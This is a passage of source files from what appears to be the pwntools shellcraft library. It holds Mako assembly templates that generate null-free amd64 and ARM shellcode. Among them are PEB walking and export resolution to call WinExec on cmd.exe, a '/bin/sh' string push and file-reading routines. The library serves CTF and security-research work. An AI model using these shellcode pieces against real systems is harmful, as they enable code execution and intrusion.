    "content": "<%\n  from pwnlib.util import packing\n  from pwnlib.shellcraft import amd64, pretty\n  from pwnlib.shellcraft.amd64 import pushstr\n  from pwnlib import constants\n  from pwnlib.shellcraft.registers import amd64 as regs\n  from pwnlib.context import context as ctx # Ugly hack, mako will not let it be called context\n  import re\n%>\n<%page args=\"value\"/>\n<%docstring>\nPushes a value onto the stack without using\nnull bytes or newline characters.\n\nIf src is a string, then we try to evaluate with `context.arch = 'amd64'` using\n:func:`pwnlib.constants.eval` before determining how to push it. Note that this\nmeans that this shellcode can change behavior depending on the value of\n`context.os`.\n\nArgs:\n  value (int,str): The value or register to push\n\nExample:\n\n    >>> print(pwnlib.shellcraft.amd64.push(0).rstrip())\n        /* push 0 */\n        push 1\n        dec byte ptr [rsp]\n    >>> print(pwnlib.shellcraft.amd64.push(1).rstrip())\n        /* push 1 */\n        push 1\n    >>> print(pwnlib.shellcraft.amd64.push(256).rstrip())\n        /* push 0x100 */\n        push 0x1010201 ^ 0x100\n        xor dword ptr [rsp], 0x1010201\n    >>> with context.local(os = 'linux'):\n    ...     print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())\n        /* push 'SYS_write' */\n        push 1\n    >>> with context.local(os = 'freebsd'):\n    ...     print(pwnlib.shellcraft.amd64.push('SYS_write').rstrip())\n        /* push 'SYS_write' */\n        push 4\n\n</%docstring>\n\n<%\n  value_orig = value\n  is_reg = False\n  if value in regs:\n    is_reg = True\n  if not is_reg and isinstance(value, (str, str)):\n    try:\n      with ctx.local(arch = 'amd64'):\n        value = constants.eval(value)\n    except (ValueError, AttributeError):\n        pass\n%>\n%if not is_reg:\n    /* push ${pretty(value_orig, False)} */\n    ${re.sub(r'^\\s*/.*\\n', '', amd64.pushstr(packing.pack(value), False), 1)}\n% else:\n    push ${value}\n% endif\n\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/pushad.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%docstring>\nPush all of the registers onto the stack which i386 pushad does,\nin the same order.\n</%docstring>\n    push rax\n    push rcx\n    push rdx\n    push rbp\n    push rsp\n    push rbp\n    push rsi\n    push rdi\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/pushstr.asm",
    "content": "<%\n    from pwnlib.util import lists, packing, fiddling\n    from pwnlib.shellcraft import pretty\n%>\\\n<%page args=\"string, append_null = True\"/>\n<%docstring>\nPushes a string onto the stack without using\nnull bytes or newline characters.\n\nExample:\n\n    >>> print(shellcraft.amd64.pushstr('').rstrip())\n        /* push b'\\x00' */\n        push 1\n        dec byte ptr [rsp]\n    >>> print(shellcraft.amd64.pushstr('a').rstrip())\n        /* push b'a\\x00' */\n        push 0x61\n    >>> print(shellcraft.amd64.pushstr('aa').rstrip())\n        /* push b'aa\\x00' */\n        push 0x1010101 ^ 0x6161\n        xor dword ptr [rsp], 0x1010101\n    >>> print(shellcraft.amd64.pushstr('aaa').rstrip())\n        /* push b'aaa\\x00' */\n        push 0x1010101 ^ 0x616161\n        xor dword ptr [rsp], 0x1010101\n    >>> print(shellcraft.amd64.pushstr('aaaa').rstrip())\n        /* push b'aaaa\\x00' */\n        push 0x61616161\n    >>> print(shellcraft.amd64.pushstr(b'aaa\\xc3').rstrip())\n        /* push b'aaa\\xc3\\x00' */\n        mov rax, 0x101010101010101\n        push rax\n        mov rax, 0x101010101010101 ^ 0xc3616161\n        xor [rsp], rax\n    >>> print(shellcraft.amd64.pushstr(b'aaa\\xc3', append_null = False).rstrip())\n        /* push b'aaa\\xc3' */\n        push -0x3c9e9e9f\n    >>> print(shellcraft.amd64.pushstr(b'\\xc3').rstrip())\n        /* push b'\\xc3\\x00' */\n        push 0x1010101 ^ 0xc3\n        xor dword ptr [rsp], 0x1010101\n    >>> print(shellcraft.amd64.pushstr(b'\\xc3', append_null = False).rstrip())\n        /* push b'\\xc3' */\n        push -0x3d\n    >>> with context.local():\n    ...    context.arch = 'amd64'\n    ...    print(enhex(asm(shellcraft.pushstr(\"/bin/sh\"))))\n    48b801010101010101015048b82e63686f2e72690148310424\n    >>> with context.local():\n    ...    context.arch = 'amd64'\n    ...    print(enhex(asm(shellcraft.pushstr(\"\"))))\n    6a01fe0c24\n    >>> with context.local():\n    ...    context.arch = 'amd64'\n    ...    print(enhex(asm(shellcraft.pushstr(\"\\x00\", False))))\n    6a01fe0c24\n\nArgs:\n  string (str): The string to push.\n  append_null (bool): Whether to append a single NULL-byte before pushing.\n</%docstring>\n<%\n    if isinstance(string, str):\n        string = string.encode('utf-8')\n    if append_null and not string.endswith(b'\\x00'):\n        string += b'\\x00'\n    if not string:\n        return\n\n    def okay(s):\n        return b'\\n' not in s and b'\\0' not in s\n\n    if string[-1] >= 128:\n        extend = b'\\xff'\n    else:\n        extend = b'\\x00'\n%>\\\n    /* push ${pretty(string, False)} */\n% for word in lists.group(8, string, 'fill', extend)[::-1]:\n<%\n    sign = packing.u64(word, endian='little', sign='signed')\n    sign32 = packing.u32(word[:4], bits=32, endian='little', sign='signed')\n%>\\\n% if sign in [0, 0xa]:\n    push ${pretty(sign + 1)}\n    dec byte ptr [rsp]\n% elif -0x80 <= sign <= 0x7f and okay(word[:1]):\n    push ${pretty(sign)}\n% elif -0x80000000 <= sign <= 0x7fffffff and okay(word[:4]):\n    push ${pretty(sign)}\n% elif okay(word):\n    mov rax, ${pretty(sign)}\n    push rax\n% elif sign32 > 0 and word[4:] == b'\\x00\\x00\\x00\\x00':\n<%\n    a,b = fiddling.xor_pair(word[:4], avoid = b'\\x00\\n')\n    a   = packing.u32(a, endian='little', sign='signed')\n    b   = packing.u32(b, endian='little', sign='unsigned')\n%>\\\n    push ${pretty(a)} ^ ${pretty(sign)}\n    xor dword ptr [rsp], ${pretty(a)}\n% else:\n<%\n    a,b = fiddling.xor_pair(word, avoid = b'\\x00\\n')\n    a   = packing.u64(a, endian='little', sign='unsigned')\n    b   = packing.u64(b, endian='little', sign='unsigned')\n%>\\\n    mov rax, ${pretty(a)}\n    push rax\n    mov rax, ${pretty(a)} ^ ${pretty(sign)}\n    xor [rsp], rax\n% endif\n% endfor\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/pushstr_array.asm",
    "content": "<% from pwnlib.shellcraft import amd64, pretty %>\n<%docstring>\nPushes an array/envp-style array of pointers onto the stack.\n\nArguments:\n    reg(str):\n        Destination register to hold the pointer.\n    array(str,list):\n        Single argument or list of arguments to push.\n        NULL termination is normalized so that each argument\n        ends with exactly one NULL byte.\n</%docstring>\n<%page args=\"reg, array\"/>\n<%\nif isinstance(array, (str)):\n    array = [array]\n\narray_str = ''\n\n# Normalize all of the arguments' endings\narray      = [arg.rstrip('\\x00') + '\\x00' for arg in array]\narray_str  = ''.join(array)\n\nword_size = 8\noffset = len(array_str) + word_size\n\n%>\\\n    /* push argument array ${pretty(array, False)} */\n    ${amd64.pushstr(array_str)}\n    ${amd64.mov(reg, 0)}\n    push ${reg} /* null terminate */\n% for i,arg in enumerate(reversed(array)):\n    ${amd64.mov(reg, offset + word_size*i - len(arg))}\n    add ${reg}, rsp\n    push ${reg} /* ${pretty(arg, False)} */\n    <% offset -= len(arg) %>\\\n% endfor\n    ${amd64.mov(reg,'rsp')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/ret.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%docstring>A single-byte RET instruction.\n\nArgs:\n    return_value: Value to return\n</%docstring>\n<%page args=\"return_value = None\"/>\n\n% if return_value is not None:\n    ${amd64.mov('rax', return_value)}\n% endif\n\n    ret\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/setregs.asm",
    "content": "<%\n  from pwnlib.regsort import regsort\n  from pwnlib.shellcraft import registers, eval\n  from pwnlib.shellcraft.amd64 import mov\n%>\n<%page args=\"reg_context, stack_allowed = True\"/>\n<%docstring>\nSets multiple registers, taking any register dependencies into account\n(i.e., given eax=1,ebx=eax, set ebx first).\n\nArgs:\n    reg_context (dict): Desired register context\n    stack_allowed (bool): Can the stack be used?\n\nExample:\n\n    >>> print(shellcraft.setregs({'rax':1, 'rbx':'rax'}).rstrip())\n        mov rbx, rax\n        push 1\n        pop rax\n    >>> print(shellcraft.setregs({'rax': 'SYS_write', 'rbx':'rax'}).rstrip())\n        mov rbx, rax\n        push SYS_write /* 1 */\n        pop rax\n    >>> print(shellcraft.setregs({'rax':'rbx', 'rbx':'rax', 'rcx':'rbx'}).rstrip())\n        mov rcx, rbx\n        xchg rax, rbx\n    >>> print(shellcraft.setregs({'rax':1, 'rdx':0}).rstrip())\n        push 1\n        pop rax\n        cdq /* rdx=0 */\n\n</%docstring>\n<%\nreg_context = {k:v for k,v in reg_context.items() if v is not None}\n\neax = reg_context.get('rax', None)\nedx = reg_context.get('rdx', None)\ncdq = False\n\nif isinstance(eax, str):\n    try:\n        eax = eval(eax)\n    except NameError:\n        pass\n\nif isinstance(edx, str):\n    try:\n        edx = eval(edx)\n    except NameError:\n        pass\n\nif isinstance(eax, int) and isinstance(edx, int) and eax >> 63 == edx:\n    cdq = True\n    reg_context.pop('rdx')\n\nsorted_regs = regsort(reg_context, registers.amd64, registers.native64)\n%>\n% if not sorted_regs:\n  /* setregs noop */\n% else:\n% for how, src, dst in sorted_regs:\n% if how == 'xchg':\n    xchg ${src}, ${dst}\n% else:\n    ${mov(src, dst)}\n% endif\n% endfor\n% if cdq:\n    cdq /* rdx=0 */\n% endif\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/strcpy.asm",
    "content": "<%\nfrom pwnlib.shellcraft import pretty, common, registers\nfrom pwnlib.shellcraft.amd64 import mov, pushstr, setregs\nfrom pwnlib import constants\n%>\n<%docstring>\nCopies a string\n\nExample:\n\n    >>> sc  = 'jmp get_str\\n'\n    >>> sc += 'pop_str: pop rax\\n'\n    >>> sc += shellcraft.amd64.strcpy('rsp', 'rax')\n    >>> sc += shellcraft.amd64.linux.write(1, 'rsp', 32)\n    >>> sc += shellcraft.amd64.linux.exit(0)\n    >>> sc += 'get_str: call pop_str\\n'\n    >>> sc += '.asciz \"Hello, world\\\\n\"'\n    >>> run_assembly(sc).recvline()\n    b'Hello, world\\n'\n</%docstring>\n<%page args=\"dst, src\"/>\n    ${setregs({'rcx': -1,\n               'rdi': src,\n               'rsi': dst,\n               'rax': 0})}\n    push rdi\n    repnz scas al, BYTE PTR [rdi]\n    pop rdi\n    xchg rdi, rsi\n    inc rcx\n    neg rcx\n    rep movs BYTE PTR [rdi], BYTE PTR [rsi]\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/strlen.asm",
    "content": "<%\nfrom pwnlib.shellcraft import pretty, common, registers\nfrom pwnlib.shellcraft.amd64 import mov, pushstr, setregs\nfrom pwnlib import constants\n%>\n<%docstring>\nCalculate the length of the specified string.\n\nArguments:\n    string(str): Register or address with the string\n    reg(str): Named register to return the value in,\n                   rcx is the default.\n\nExample:\n\n    >>> sc  = 'jmp get_str\\n'\n    >>> sc += 'pop_str: pop rdi\\n'\n    >>> sc += shellcraft.amd64.strlen('rdi', 'rax')\n    >>> sc += 'push rax;'\n    >>> sc += shellcraft.amd64.linux.write(1, 'rsp', 8)\n    >>> sc += shellcraft.amd64.linux.exit(0)\n    >>> sc += 'get_str: call pop_str\\n'\n    >>> sc += '.asciz \"Hello, world\\\\n\"'\n    >>> run_assembly(sc).unpack() == len('Hello, world\\n')\n    True\n</%docstring>\n<%page args=\"string, reg='rcx'\"/>\n    ${setregs({'rcx': -1,\n               'rdi': string,\n               'rax': 0})}\n    repnz scas al, BYTE PTR [rdi]\n    inc rcx\n    inc rcx\n    neg rcx\n    ${mov(reg, 'rcx')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/trap.asm",
    "content": "<%docstring>A trap instruction.</%docstring>\n    int3\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/windows/__doc__",
    "content": "Shellcraft module containing Intel x86_64 shellcodes for Windows.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/windows/cmd.asm",
    "content": "<%\n    from pwnlib.shellcraft import amd64\n%>\n<%docstring>Execute cmd.exe and keep the parent process\nin an infinite loop.\n</%docstring>\n\n    ${amd64.windows.winexec(b'cmd.exe')}\n    ${amd64.infloop()}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/windows/getexport.asm",
    "content": "<%\n    from pwnlib.shellcraft import amd64, common, pretty\n    from pwnlib.util.packing import u64, _need_bytes\n%>\n<%docstring>Find the address of an exported function in a dll\nby manually iterating through the PE export table.\n\nThe dll must be `b'kernel32.dll'` or `b'ntdll.dll'` at the moment.\nBehavior is undefined if the function is not found.\n\nArgs:\n    function_name (bytes): The name of the function to find.\n    dll(bytes): The name of the DLL to find the function in.\n    dest (str): The register to load the function address into.\n</%docstring>\n<%page args=\"function_name,dll=b'kernel32.dll',dest='rax'\"/>\n<%\nfunction_name = _need_bytes(function_name)\ndll = _need_bytes(dll)\nassert dll in (b'kernel32.dll', b'ntdll.dll')\nfind_function_loop = common.label('find_function').strip()\n%>\n% if dll == b'kernel32.dll':\n    ${amd64.windows.kernel32base('rbx')} /* rbx = kernel32.dll PE base */\n% elif dll == b'ntdll.dll':\n    ${amd64.windows.ntdllbase('rbx')} /* rbx = ntdll.dll PE base */\n% endif\n    mov r8d, [rbx + 0x3c]\n    mov rdx, r8\n    add rdx, rbx\n    ${amd64.mov('r9', 0x88)}\n    add rdx, r9\n    mov r8d, [rdx]\n    add r8, rbx /* r8 = export table */\n    mov edx, [r8 + 0x20]\n    add rdx, rbx /* rdx = names table */\n% if len(function_name) <= 8:\n    mov r9, ${pretty(u64(function_name.ljust(8, b'\\x00')))}\n% else:\n    ${amd64.pushstr(function_name)}\n    mov r9, rsp\n% endif\n    push r8\n    xor r8, r8\n\n    /* Loop through the names table */\n    ${find_function_loop}:\n        inc r8\n        mov eax, [rdx + r8 * 4]\n        add rax, rbx\n        ## strcmp\n        % if len(function_name) <= 8:\n        cmp qword ptr [rax], r9\n        % else:\n        ${amd64.setregs({\n            'rdi': 'rax',\n            'rsi': 'r9',\n            'rcx': len(function_name),\n        })}\n        repe cmpsb\n        movzx rax, byte ptr [rsi-1]\n        movzx rcx, byte ptr [rdi-1]\n        sub rax, rcx\n        % endif\n        jnz ${find_function_loop}\n\n    ## Assume we find the function, we'll crash walking past the\n    ## end of the names table otherwise.\n    mov rcx, r8\n    pop r8\n    mov esi, [r8 + 0x24]\n    add rsi, rbx /* rsi = ordinals table */\n    mov cx, [rsi + rcx * 2]\n    mov esi, [r8 + 0x1c]\n    add rsi, rbx /* rsi = address table */\n    mov eax, [rsi + rcx * 4]\n    add rax, rbx /* rax = function address */\n    ${amd64.mov(dest, 'rax')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/windows/getprocaddress.asm",
    "content": "<%\n    from pwnlib.shellcraft import amd64, pretty\n    from pwnlib.util.packing import _need_bytes\n    from pwnlib.util.misc import align\n%>\n<%docstring>Find the address of an exported function\nby calling kernel32::GetProcAddress.\n\nArgs:\n    function_name(str): The name of the function to find.\n    dll(str): The name of the DLL to find the function in.\n    dest (str): The register to load the function address into.\n</%docstring>\n<%page args=\"function_name,dll=b'kernel32.dll',dest='rax'\"/>\n<%\nfunction_name = _need_bytes(function_name)\ndll = _need_bytes(dll)\nassert dll == b'kernel32.dll'\n%>\n\n    ${amd64.windows.getexport(b'GetProcA', b'kernel32.dll', dest='rdi')}\n    ${amd64.pushstr(function_name)}\n    mov rdx, rsp\n    ${amd64.windows.kernel32base(dest='rcx')}\n    sub rsp, 0x30\n    call rdi\n    add rsp, ${pretty(0x30+align(8, len(function_name)))}\n    ${amd64.mov(dest, 'rax')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/windows/kernel32base.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%docstring>Find the base address of kernel32.dll in memory.\n\nArgs:\n    dest (str): The register to load the kernel32.dll base address into.\n</%docstring>\n<%page args=\"dest='rax'\"/>\n## The loaded list of modules always starts with\n## 1. the executable itself\n## 2. ntdll.dll\n## 3. kernel32.dll\n    ${amd64.windows.peb(dest)}\n    mov ${dest}, [${dest} + 0x18] /* PEB->Ldr */\n    mov rsi, [${dest} + 0x20] /* PEB->Ldr.InMemOrder LIST_ENTRY */\n    lodsq\n    xchg rax, rsi\n    lodsq\n    mov ${dest}, [rax + 0x20] /* LDR_DATA_TABLE_ENTRY->DllBase */"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/windows/ntdllbase.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%docstring>Find the base address of ntdll.dll in memory.\n\nArgs:\n    dest (str): The register to load the ntdll.dll base address into.\n</%docstring>\n<%page args=\"dest='rax'\"/>\n## The loaded list of modules always starts with:\n## 1. the executable itself\n## 2. ntdll.dll\n## 3. kernel32.dll\n    ${amd64.windows.peb(dest)}\n    mov ${dest}, [${dest} + 0x18] /* PEB->Ldr */\n    mov rsi, [${dest} + 0x20] /* PEB->Ldr.InMemOrder LIST_ENTRY */\n    lodsq\n    mov ${dest}, [rax + 0x20] /* LDR_DATA_TABLE_ENTRY->DllBase */\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/windows/peb.asm",
    "content": "<% from pwnlib.shellcraft import amd64 %>\n<%docstring>Loads the Process Environment Block (PEB) into the target register.\n\nArgs:\n    dest (str): The register to load the PEB into.\n</%docstring>\n<%page args=\"dest='rax'\"/>\n    ${amd64.windows.teb(dest, 0x60)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/windows/teb.asm",
    "content": "<%\n  from pwnlib.log import getLogger\n  from pwnlib.shellcraft import pretty\n  from pwnlib.shellcraft.registers import get_register, is_register\n  log = getLogger('pwnlib.shellcraft.amd64.teb')\n%>\n<%page args=\"dest='rax', offset=0\"/>\n<%docstring>Loads the Thread Environment Block (TEB) into the target register.\n\nArgs:\n    dest (str): The register to load the TEB into.\n    offset (int): The offset from the TEB to load.\n</%docstring>\n<%\nif not is_register(dest):\n    log.error('%r is not a register' % dest)\n\ndest = get_register(dest)\n%>\n    xor esi, esi\n    mov ${dest}, qword ptr gs:[rsi+${pretty(offset)}]\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/windows/winexec.asm",
    "content": "<%\n    from pwnlib.shellcraft import amd64, pretty\n    from pwnlib.util.packing import _need_bytes\n    from pwnlib.util.misc import align\n%>\n<%docstring>Execute a program using WinExec.\n\nArgs:\n    cmd (str): The program to execute.\n    cmd_show (int): nCmdShow parameter.\n</%docstring>\n<%page args=\"cmd, cmd_show = 0\"/>\n<%\ncmd = _need_bytes(cmd)\nstack_frame = 0x30 + align(8, len(cmd)+1)\nstack_frame_align = 8 & ~stack_frame\n%>\n\n    ${amd64.windows.getprocaddress(b'WinExec', b'kernel32.dll', 'rsi')}\n    ${amd64.pushstr(cmd)}\n    mov rcx, rsp\n    sub rsp, ${pretty(0x30 + stack_frame_align)}\n    ${amd64.mov('rdx', cmd_show)}\n    call rsi\n% if stack_frame + stack_frame_align < 0x80:\n    add rsp, ${pretty(stack_frame + stack_frame_align)}\n% else:\n    ${amd64.mov('rcx', stack_frame + stack_frame_align)}\n    add rsp, rcx\n% endif\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/amd64/xor.asm",
    "content": "<%\n  from pwnlib.shellcraft import pretty, common, amd64, registers\n  from pwnlib.util.packing import pack, unpack\n  from pwnlib.context import context as ctx\n  from pwnlib.log import getLogger\n%>\n<%page args=\"key, address, count\"/>\n<%docstring>\nXORs data a constant value.\n\nArgs:\n    key (int,str): XOR key either as a 8-byte integer,\n                   If a string, length must be a power of two,\n                   and not longer than 8 bytes.\n                   Alternately, may be a register.\n    address (int): Address of the data (e.g. 0xdead0000, 'esp')\n    count (int): Number of bytes to XOR, or a register containing\n                 the number of bytes to XOR.\n\nExample:\n\n    >>> sc  = shellcraft.read(0, 'rsp', 32)\n    >>> sc += shellcraft.xor(0xdeadbeef, 'rsp', 32)\n    >>> sc += shellcraft.write(1, 'rsp', 32)\n    >>> io = run_assembly(sc)\n    >>> io.send(cyclic(32))\n    >>> result = io.recvn(32)\n    >>> expected = xor(cyclic(32), p32(0xdeadbeef))\n    >>> result == expected\n    True\n\n</%docstring>\n<%\nlog = getLogger('pwnlib.shellcraft.templates.amd64.xor')\n\n# By default, assume the key is a register\nkey_size   = ctx.bytes\nkey_pretty = key\n\nkey_register = registers.get_register(key)\n\nif key_register:\n    assert key_register.bytes == ctx.bytes\nelse:\n    key_str = key\n    key_int = key\n\n    if isinstance(key, int):\n        key_str = pack(key, bytes=4)\n    else:\n        key_int = unpack(key, 'all')\n\n    if len(key_str) > ctx.bytes:\n        log.error(\"Key %s is too large (max %i bytes)\" % (pretty(key), ctx.bytes))\n\n    if len(key_str) not in (1,2,4):\n        log.error(\"Key length must be a power of two (got %s)\" % pretty(key))\n\n    key_size = len(key_str)\n    key_pretty = pretty(key_int)\n\nif count == 0 or key_size == 0:\n    return '/* noop xor */'\n\nstart = common.label('start')\n\n## Determine the move size\nword_name = {1:'BYTE', 2:'WORD', 4:'DWORD', 8:'QWORD'}[key_size]\n\n## Set up the register context\nregctx = {'rax': count, 'rcx': address}\nif key_register and key_register.name in regctx:\n    regctx['rbx'] = key\n    key_pretty = 'rbx'\n%>\n    /* xor(${pretty(key)}, ${pretty(address)}, ${pretty(count)}) */\n    ${amd64.setregs(regctx)}\n    add rax, rcx\n${start}:\n    xor ${word_name} PTR [rcx], ${key_pretty}\n    add rcx, ${key_size}\n    cmp rcx, rax\n    jb  ${start}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/__doc__",
    "content": "Shellcraft module containing generic ARM little endian shellcodes.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/crash.asm",
    "content": "<% from pwnlib.shellcraft.arm import mov %>\n<%docstring>\nCrash.\n\nExample:\n\n    >>> run_assembly(shellcraft.crash()).poll(True)\n    -11\n</%docstring>\n    pop {r0-r12,lr}\n    ${mov('sp', 0)}\n    add pc, sp, #0\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/freebsd/__doc__",
    "content": "Shellcraft module containing ARM shellcodes for FreeBSD.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/freebsd/syscall.asm",
    "content": "<%\n  from pwnlib.shellcraft import arm, pretty\n  from pwnlib.constants import Constant\n  from pwnlib.abi import freebsd_arm_syscall as abi\n%>\n<%page args=\"syscall = None, arg0 = None, arg1 = None, arg2 = None, arg3 = None, arg4 = None, arg5 = None\"/>\n<%docstring>\nArgs: [syscall_number, \\*args]\n    Does a syscall\n\nAny of the arguments can be expressions to be evaluated by :func:`pwnlib.constants.eval`.\n\nExample:\n\n        >>> print(shellcraft.arm.freebsd.syscall(11, 1, 'sp', 2, 0).rstrip())\n            /* call syscall(11, 1, 'sp', 2, 0) */\n            mov  r0, #1\n            mov  r1, sp\n            mov  r2, #2\n            eor  r3, r3 /* 0 (#0) */\n            mov  r7, #0xb\n            svc 0\n        >>> print(shellcraft.arm.freebsd.syscall('SYS_exit', 0).rstrip())\n            /* call exit(0) */\n            eor  r0, r0 /* 0 (#0) */\n            mov  r7, #SYS_exit /* 1 */\n            svc 0\n</%docstring>\n<%\n  if isinstance(syscall, (str, Constant)) and str(syscall).startswith('SYS_'):\n      syscall_repr = str(syscall)[4:] + \"(%s)\"\n      args = []\n  else:\n      syscall_repr = 'syscall(%s)'\n      if syscall is None:\n          args = ['?']\n      else:\n          args = [pretty(syscall, False)]\n\n  for arg in [arg0, arg1, arg2, arg3, arg4, arg5]:\n      if arg is None:\n          args.append('?')\n      else:\n          args.append(pretty(arg, False))\n  while args and args[-1] == '?':\n      args.pop()\n  syscall_repr = syscall_repr % ', '.join(args)\n\n  registers  = abi.register_arguments\n  arguments  = [syscall, arg0, arg1, arg2, arg3, arg4, arg5]\n  arguments  = iter(filter(lambda arg: arg is not None, arguments))\n  regctx     = dict(zip(registers, arguments))\n  stack_args = reversed(list(arguments)) # push remaining args on stack in reverse order\n%>\\\n    /* call ${syscall_repr} */\n    ${arm.setregs(regctx)}\n%for arg in stack_args:\n    ${arm.push(arg)}\n%endfor\n    svc 0\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/infloop.asm",
    "content": "<% from pwnlib.shellcraft import common %>\n<%docstring>An infinite loop.</%docstring>\n<% infloop = common.label(\"infloop\") %>\n${infloop}:\n    b ${infloop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/itoa.asm",
    "content": "<%\nfrom pwnlib.shellcraft import pretty, common, registers\nfrom pwnlib.shellcraft.arm import mov, pushstr, udiv_10, setregs\nfrom pwnlib import constants\n%>\n<%docstring>\nConverts an integer into its string representation, and pushes it\nonto the stack.  Uses registers r0-r5.\n\nArguments:\n    v(str, int):\n        Integer constant or register that contains the value to convert.\n    alloca\n\nExample:\n\n    >>> sc = shellcraft.arm.mov('r0', 0xdeadbeef)\n    >>> sc += shellcraft.arm.itoa('r0')\n    >>> sc += shellcraft.arm.linux.write(1, 'sp', 32)\n    >>> run_assembly(sc).recvuntil(b'\\x00')\n    b'3735928559\\x00'\n</%docstring>\n<%page args=\"v, buffer='sp', allocate_stack=True\"/>\n<%\nitoa_loop = common.label('itoa_loop')\nsize_loop = common.label('size_loop')\none_char  = common.label('one_char')\nassert v in registers.arm\n%>\\\n    /* atoi(${pretty(v,0)}) */\n%if allocate_stack and buffer=='sp':\n    sub sp, sp, 0x10\n%endif\n## REGISTER USAGE\n##\n## r0: Value (also used in udiv_10)\n## r1: Used in udiv_10\n## r2: Used in udiv_10\n## r3: Length of string, current character\n## r4: Buffer pointer\n## r5: Remainder\n    ${setregs({'r0': v,\n               'r3': 0,\n               'r4': buffer})}\n## Save for later\n    push {r0}\n## Calculate how many characters are needed.\n## e.g.    0 -> 1\n##         1 -> 1\n##        23 -> 2\n##      1234 -> 4\n${size_loop}:\n    add r3, r3, 1\n    ${udiv_10('r0')}\n    cmp r0, 1\n    bhs ${size_loop}\n## Calculate the end of the buffer and null-terminate\n## N.B. r0 == 0 here\n    add r3, r4, r3\n    strb r0, [r3, #1]\n## Grab saved \"original value\" off the stack\n    pop {r0}\n${itoa_loop}:\n    ${mov('r5', 'r0')}  /* save before division */\n    ${udiv_10('r0')}\n## Multiply back by 10 to get remainder\n    /* multiply by 10 to get remainder in r5 */\n    ${mov('r1', 10)}\n    umull r1, r2, r1, r0\n    sub r5, r5, r1\n    /* store the byte, decrement, check complete */\n    add r5, r5, ${ord('0')}\n    strb r5, [r3, #-1]!\n    cmp r3, r4\n    bgt ${itoa_loop}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/__doc__",
    "content": "Shellcraft module containing ARM shellcodes for Linux.\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/cacheflush.asm",
    "content": "<%docstring>\nInvokes the cache-flush operation, without using any NULL or newline bytes.\n\nEffectively is just:\n\n    mov   r0, #0\n    mov   r1, #-1\n    mov   r2, #0\n    swi   0x9F0002\n\nHow this works:\n\n    ... However, SWI generates a software interrupt and to the\n    interrupt handler, 0x9F0002 is actually data and as a result will\n    not be read via the instruction cache, so if we modify the argument\n    to SWI in our self-modifyign code, the argument will be read\n    correctly.\n</%docstring>\n    adr  r6, cacheflush\n    movw r5, 0xffff\n    add  r5, r5, 3\n    strh r5, [r6]\n    eor r7, r7, r7\n    push {r7, lr}\n    sub r7, r7, #1\n    push {r7}\n    add r7, r7, #1\n    push {r7}\n    pop {r0, r1, r2, lr}\ncacheflush:\n    swimi 0x9f4141\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/cat.asm",
    "content": "<%\n  from pwnlib import constants\n  from pwnlib.shellcraft import arm\n%>\n<%page args=\"filename, fd=1\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\n\nExample:\n\n    >>> f = tempfile.mktemp()\n    >>> write(f, 'FLAG\\n')\n    >>> run_assembly(shellcraft.arm.linux.cat(f)).recvline()\n    b'FLAG\\n'\n\n</%docstring>\n    ${arm.pushstr(filename)}\n    ${arm.linux.open('sp', int(constants.O_RDONLY), 'r2')}\n    ${arm.linux.sendfile(fd, 'r0', 0, 0x7fffffff)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/cat2.asm",
    "content": "<%\n  from pwnlib import constants\n  from pwnlib.shellcraft import arm\n%>\n<%page args=\"filename, fd=1, length=0x4000\"/>\n<%docstring>\nOpens a file and writes its contents to the specified file descriptor.\nUses an extra stack buffer and must know the length.\n\nExample:\n\n    >>> f = tempfile.mktemp()\n    >>> write(f, 'FLAG\\n')\n    >>> run_assembly(shellcraft.arm.linux.cat2(f)).recvline()\n    b'FLAG\\n'\n\n</%docstring>\n    ${arm.pushstr(filename)}\n    ${arm.linux.open('sp', int(constants.O_RDONLY), length)}\n    sub sp, r2\n    ${arm.linux.read('r0', 'sp', 'r2')}\n    ${arm.linux.write(fd, 'sp', 'r0')}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/arm/linux/connect.asm",
